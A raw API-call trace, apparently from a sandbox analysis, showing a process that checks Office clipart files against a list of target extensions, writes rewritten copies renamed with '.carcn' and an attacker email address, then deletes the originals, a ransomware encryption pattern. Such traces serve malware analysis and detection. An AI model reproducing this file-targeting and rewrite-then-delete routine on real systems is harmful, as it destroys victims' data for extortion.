[0273.269] lstrlenW (lpString=".bz2") returned 4 [0273.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.269] lstrlenW (lpString=".7z") returned 3 [0273.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.269] lstrlenW (lpString=".dbf") returned 4 [0273.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.269] lstrlenW (lpString=".1cd") returned 4 [0273.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.269] lstrlenW (lpString=".jpg") returned 4 [0273.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.270] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.270] lstrlenW (lpString="DD01138_.WMF") returned 12 [0273.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.271] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3692) returned 1 [0273.271] CloseHandle (hObject=0x548) returned 1 [0273.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0273.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.271] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.272] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0273.274] GetLastError () returned 0x0 [0273.274] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xe6c, lpOverlapped=0x0) returned 1 [0273.389] WriteFile (in: hFile=0x4bc, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe70, lpOverlapped=0x0) returned 1 [0273.390] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.390] WriteFile (in: hFile=0x4bc, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.390] SetEndOfFile (hFile=0x4bc) returned 1 [0273.391] CloseHandle (hObject=0x4bc) returned 1 [0273.391] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.391] SetEndOfFile (hFile=0x548) returned 1 [0273.394] CloseHandle (hObject=0x548) returned 1 [0273.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0275.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.946] lstrlenW (lpString=".doc") returned 4 [0275.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.946] lstrlenW (lpString=".docx") returned 5 [0275.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.947] lstrlenW (lpString=".pdf") returned 4 [0275.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString=".xls") returned 4 [0275.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.947] lstrlenW (lpString=".xlsx") returned 5 [0275.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.947] lstrlenW (lpString=".ppt") returned 4 [0275.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.947] lstrlenW (lpString=".zip") returned 4 [0275.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.947] lstrlenW (lpString=".rar") returned 4 [0275.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString=".bz2") returned 4 [0275.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString=".7z") returned 3 [0275.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.947] lstrlenW (lpString=".dbf") returned 4 [0275.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.947] lstrlenW (lpString=".1cd") returned 4 [0275.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.947] lstrlenW (lpString=".jpg") returned 4 [0275.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.948] lstrlenW (lpString=".doc") returned 4 [0275.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.948] lstrlenW (lpString=".docx") returned 5 [0275.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.948] lstrlenW (lpString=".pdf") returned 4 [0275.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.948] lstrlenW (lpString=".xls") returned 4 [0275.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.948] lstrlenW (lpString=".xlsx") returned 5 [0275.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.948] lstrlenW (lpString=".ppt") returned 4 [0275.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.948] lstrlenW (lpString=".zip") returned 4 [0275.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.948] lstrlenW (lpString=".rar") returned 4 [0275.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.948] lstrlenW (lpString=".bz2") returned 4 [0275.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.948] lstrlenW (lpString=".7z") returned 3 [0275.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.948] lstrlenW (lpString=".dbf") returned 4 [0275.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.949] lstrlenW (lpString=".1cd") returned 4 [0275.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0275.949] lstrlenW (lpString=".jpg") returned 4 [0275.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.949] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0275.949] lstrlenW (lpString="DD01166_.WMF") returned 12 [0275.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0275.949] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2080) returned 1 [0275.950] CloseHandle (hObject=0x49c) returned 1 [0275.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0275.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0275.950] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.950] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0275.951] GetLastError () returned 0x0 [0275.951] ReadFile (in: hFile=0x49c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x820, lpOverlapped=0x0) returned 1 [0276.187] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x830, lpOverlapped=0x0) returned 1 [0276.207] ReadFile (in: hFile=0x49c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.207] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0276.207] SetEndOfFile (hFile=0x528) returned 1 [0276.207] CloseHandle (hObject=0x528) returned 1 [0276.208] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.208] SetEndOfFile (hFile=0x49c) returned 1 [0276.210] CloseHandle (hObject=0x49c) returned 1 [0276.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0276.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.212] lstrlenW (lpString=".doc") returned 4 [0276.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString=".docx") returned 5 [0276.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.212] lstrlenW (lpString=".pdf") returned 4 [0276.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString=".xls") returned 4 [0276.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.212] lstrlenW (lpString=".xlsx") returned 5 [0276.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.212] lstrlenW (lpString=".ppt") returned 4 [0276.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.212] lstrlenW (lpString=".zip") returned 4 [0276.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.212] lstrlenW (lpString=".rar") returned 4 [0276.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString=".bz2") returned 4 [0276.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString=".7z") returned 3 [0276.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.212] lstrlenW (lpString=".dbf") returned 4 [0276.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.212] lstrlenW (lpString=".1cd") returned 4 [0276.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.212] lstrlenW (lpString=".jpg") returned 4 [0276.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.213] lstrlenW (lpString=".doc") returned 4 [0276.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.213] lstrlenW (lpString=".docx") returned 5 [0276.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.213] lstrlenW (lpString=".pdf") returned 4 [0276.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.213] lstrlenW (lpString=".xls") returned 4 [0276.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.213] lstrlenW (lpString=".xlsx") returned 5 [0276.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.213] lstrlenW (lpString=".ppt") returned 4 [0276.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.213] lstrlenW (lpString=".zip") returned 4 [0276.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.213] lstrlenW (lpString=".rar") returned 4 [0276.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.213] lstrlenW (lpString=".bz2") returned 4 [0276.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.213] lstrlenW (lpString=".7z") returned 3 [0276.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.213] lstrlenW (lpString=".dbf") returned 4 [0276.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.214] lstrlenW (lpString=".1cd") returned 4 [0276.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0276.214] lstrlenW (lpString=".jpg") returned 4 [0276.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.214] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0276.214] lstrlenW (lpString="DD01168_.WMF") returned 12 [0276.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0276.310] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2004) returned 1 [0276.310] CloseHandle (hObject=0x55c) returned 1 [0276.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0277.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0277.856] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.856] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0277.858] GetLastError () returned 0x0 [0277.858] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x7d4, lpOverlapped=0x0) returned 1 [0277.957] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7e0, lpOverlapped=0x0) returned 1 [0277.958] ReadFile (in: hFile=0x414, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0277.958] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0277.958] SetEndOfFile (hFile=0x538) returned 1 [0277.959] CloseHandle (hObject=0x538) returned 1 [0277.959] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.959] SetEndOfFile (hFile=0x414) returned 1 [0277.962] CloseHandle (hObject=0x414) returned 1 [0277.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0277.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.964] lstrlenW (lpString=".doc") returned 4 [0277.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.964] lstrlenW (lpString=".docx") returned 5 [0277.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.964] lstrlenW (lpString=".pdf") returned 4 [0277.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.964] lstrlenW (lpString=".xls") returned 4 [0277.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.964] lstrlenW (lpString=".xlsx") returned 5 [0277.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.964] lstrlenW (lpString=".ppt") returned 4 [0277.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.964] lstrlenW (lpString=".zip") returned 4 [0277.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.964] lstrlenW (lpString=".rar") returned 4 [0277.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.964] lstrlenW (lpString=".bz2") returned 4 [0277.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.964] lstrlenW (lpString=".7z") returned 3 [0277.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.965] lstrlenW (lpString=".dbf") returned 4 [0277.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.965] lstrlenW (lpString=".1cd") returned 4 [0277.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.965] lstrlenW (lpString=".jpg") returned 4 [0277.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.965] lstrlenW (lpString=".doc") returned 4 [0277.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.965] lstrlenW (lpString=".docx") returned 5 [0277.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.965] lstrlenW (lpString=".pdf") returned 4 [0277.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.965] lstrlenW (lpString=".xls") returned 4 [0277.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.965] lstrlenW (lpString=".xlsx") returned 5 [0277.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.966] lstrlenW (lpString=".ppt") returned 4 [0277.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.966] lstrlenW (lpString=".zip") returned 4 [0277.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.966] lstrlenW (lpString=".rar") returned 4 [0277.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.966] lstrlenW (lpString=".bz2") returned 4 [0277.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.966] lstrlenW (lpString=".7z") returned 3 [0277.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0277.966] lstrlenW (lpString=".dbf") returned 4 